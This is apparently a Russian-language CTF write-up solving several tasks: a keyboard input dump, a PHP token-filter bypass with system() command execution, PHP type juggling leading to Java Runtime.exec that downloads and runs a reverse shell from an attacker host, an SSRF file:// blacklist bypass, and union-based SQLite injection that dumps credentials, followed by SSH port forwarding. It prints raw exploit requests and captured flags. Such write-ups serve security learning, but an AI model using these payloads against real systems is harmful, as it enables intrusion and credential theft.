Файл представляет собой клавиатурный дамп из /dev/input/eventX.
Используем Ruby-парсер (https://gist.github.com/movitto/a2f62966cd8f83c5d2acfa31879b2442), модифицируем: добавляем значения клавиш из https://github.com/torvalds/linux/blob/master/include/uapi/linux/input-event-codes.h , DEVICE=путь/до/файла
Фрагмент вывода:
Key: B pressed
Key: B released
Key: V pressed
Key: V released
Key: I pressed
Key: I released
Key: M pressed
Key: M released
Key: SPACE pressed
Key: SPACE released
Key: K pressed
Key: K released
Key: E pressed
Key: E released
Key: Y pressed
Key: Y released
Key: T pressed
Key: T released
Key: X pressed
Key: X released
Key: T pressed
Key: T released
Key: ENTER pressed
Key: ENTER released
Результирующую последовательность просто повторяем, флаг cdeff3fcdef87236363f23333f265364
В php-парсере запрещена большая часть токенов. После перебора токенов отсюда (https://secure.php.net/manual/ru/tokens.php) используем доступный синтаксис array().
POST / HTTP/1.1
Host: 172.104.137.194
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
command=array("system")[0]("cat+/Le9iFudfj94Ef")%3b
FLAG IS: md5('Reality is wrong. Dreams are for real.')
Находим директорию /dev/ закрытую basic auth. Магия брутфорса не работает. Чудо случается при следующем запросе, открывая нам содержимое директории:
GET /dev\/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
<!--
array(3) {
[0]=>
string(9) "index.php"
[1]=>
string(8) "task.php"
[2]=>
string(17) "task.php~~~edited"
}
-->
task.php~~~edited содержит следующее:
<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
if(strlen($_GET['constr'])===4){
$c = new $_GET['constr']($_GET['arg']);
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
}else{
die('Swimming in the pool after using a bottle of vodka');
}
}
?>
Первая проверка куки - классический type juggling, необходимо чтобы md5() начиналась с 0e (подробнее https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf слайд 9)
Вторая проверка - просто формирование правильного запроса с учетом, что resin поддерживает как php, так и java.
Залили реверс-шелл:
GET /dev\/task.php?constr=Java&arg=java.lang.Runtime¶m[0]=getRuntime¶m[1]=exec&test=wget+-P+/var/tmp/+http://MY_IP/fb.py HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: developer_testing_mode=240610708;
Connection: close
Upgrade-Insecure-Requests: 1
Выполнили:
GET /dev\/task.php?constr=Java&arg=java.lang.Runtime¶m[0]=getRuntime¶m[1]=exec&test=python+/var/tmp/fb.py HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: developer_testing_mode=240610708;
Connection: close
Upgrade-Insecure-Requests: 1
флаг md5('!!cruising down the street in my^^six-four^^')
SSRF с блэклистом на схему file:///
. Обходится пробелом после file:
GET /?jbfc=file%3a+///var/www/html/index.php HTTP/1.1
Host: 92.53.66.223
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FLAG: EasyPeasy
Самый интересный таск. Бот в телеграме использует SQLite для хранения пользовательских данных.
Данные не фильтруются, имеем union-based SQLi. Меняем имя и фамилию на a
и ' union select '1', '2', '3', '4' ' /*
, на что получем ответ об выводе в поле password
Your id: 154160573 and your pass: 2
Дальше дело техники:
Имя таблицы:
a ' union select '1', name,'3','4' FROM sqlite_master WHERE type="table" /*
=> users
Названия столбцов:
a ' union select '1', sql ,'3','4' FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='users' /*
=> CREATE TABLE users (userid text, userpass text, fullname text, ssh boolean)
Интересующие нас данные:
a ' union select '1', userid||":"||userpass||":"||fullname||":"||ssh, '3', '4' from 'users' where ssh = "1" /*
=> pass: 1:durovportfwd:durov:1
На порту 2222 находится ssh, учетные данные durov:durovportfwd подходят, но под пользователем нельзя авторизироваться из-за /sbin/nologin.
http намекает нам на порт форвардинг для получения флага:
<!-- <h3><a href="./?get=flag">Flag</a></h3> -->
Access from external ip denied! Only localhost allowed
Web висит изнутри на порту 8080
ssh -L 80:127.0.0.1:8080 -N -p 2222 durov@172.104.226.97
Забираем флаг: 5dab4ef39defa2a0aae27c815de63072